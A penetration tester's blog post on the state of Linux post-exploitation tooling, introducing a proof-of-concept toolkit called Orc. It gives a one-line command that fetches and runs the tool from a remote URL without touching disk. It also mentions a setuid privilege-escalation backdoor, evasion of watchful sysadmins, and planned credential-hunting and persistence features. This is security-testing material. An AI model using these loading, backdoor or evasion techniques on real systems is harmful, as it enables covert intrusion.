This blog is an extension of my Arcane Arts of Linux talk at Steelcon 2018, as well as a quick discussion about a post exploitation tool I’ve been writing and playing with for the last few months, called Orc. Part of the inspiration for this post is that over recent years, there’s been a lot of conversation about red-team techniques for Windows, significant tool development and tool evolution, and generally quite a lot of progress.
Linux, on the other hand, doesn’t receive nearly as much attention. There are a lot of reasons for this – there’s a dearth of endpoint protection on Linux, with Linux antivirus and malware detection systems resembling kit from the 1990s (with most of the things they detect being from around that era, too), and a perceived lack of value when it comes to UNIX systems on engagements. This is changing, I think – vendors like Carbon Black and Cloudstrike are moving into the UNIX space with their endpoint detection software, and the advent of cloud providers like Amazon make spinning up sprawling Linux estates a much more simplistic process. Slowly but surely, I think Linux is, if not staging a hostile takeover of the traditional Windows/AD-based office environment, at least making some inroads towards being seen as more of an equal.
Consequently, I’m of the opinion that we need to up our game for Linux. The LOLBAS (Living Off the Land Binaries And Scripts) project here has documented some really fascinating and useful built-in tools for Windows, and it does have an approximation in the GTFOBins project, but that focuses primarily on escaping restricted shells or escalating privileges. In general, we don’t have a whole lot of tools for post-exploitation on Linux. The closest is probably the Linux meterpreter, which while having a fraction of the features of the Windows meterpreter (or, god forbid, Cobalt Strike), it is still pretty ahead of the crowd. I’ll also state that while this may be a contentious belief of mine – most guidance for Linux post-exploitation and privilege escalation is pretty dated. OSCP and the like still have a strong focus around setuid binaries, for example. In an era of compiler-based hardening, capabilities, role-based access control etc, if you find a functional, reliable cross-platform exploit in out-of-the-box setuid binaries on Linux during an engagement, I will give you a medal. This isn’t to say that this stuff doesn’t have its place (or that I haven’t found plenty of privilege escalation successes during pen-tests due to poorly configured sudo/setuid), but modern Linux is becoming more complex, and there’s more and more features being added.
So, being a terrible coder, I produced a terrible tool after Steelcon last year called Orc. It’s a sort of proof of concept and is still a work-in-progress (codeword for being awful and a disappointment after my big, damning talk). It lacks a lot of the functionality I want to have in a post-exploitation toolkit, but I’ve been attempting to add it, slowly. One of the requirements for Orc was that it didn’t use anything that wouldn’t be installed by default with Linux. It’s kind of hard to be 100% successful with this – Linux has a lot more quirks than you might imagine. Even the dialects of bash actually differ between releases (Fedora, for example, supports a lot more funky stuff than Debian does), and then there’s the constant deprecation of tools (RIP, ifconfig). In this way, I wanted to avoid touching disk as much as possible, though it does create and do some work in /dev/shm, which lives in RAM, not on disk. We do use some Perl to allow for in-memory execution, and there is a tiny backdoor that can be dropped and be setuid in order to function as a priv-esc backdoor, but that’s pretty much it. If you don’t want to even put Orc itself on disc, it’s pretty straightforward – load it like so:
ENV=<(curl -s https://raw.githubusercontent.com/zMarch/Orc/master/o.rc) sh -i.
Then, just run the command gethelp, and it’ll display all the mildly useful features I’ve implemented.
Most of those are fairly simple, but I haven’t seen them in many other places, like getpty, which uses the script command to gain a PTY instead of using the suspicious python one-liner we all use, or getidle, which is a way to list PTY idle times in a much more accurate fashion than w, in case you’re trying to avoid a pernicious sysadmin during your assessment. There’s a list of features in the readme, or which you can summon with the gethelp command from within Orc. I’ll probably try and rejig the interface at some point, but for now, having it as a file to load into ENV for shell was a good way to keep it lightweight and (relatively) stealthy.
Some of the features I’m intending to add in the future include x86 in-memory execution, a BUNCH of wrappers around openssl, a locater for credentials, persistence mechanisms, and also a memory-scraper (I’ve been putting off finding an easy way to do this without gdb or compiling something for so long you have no idea), but I could really do with feedback. I’d love to know what people actually want in a post-exploitation tool for Linux – I know what I use, but it’d be great if I could find out how to make Orc more useful for other people.
If you’re interested in our penetration testing services, get in touch.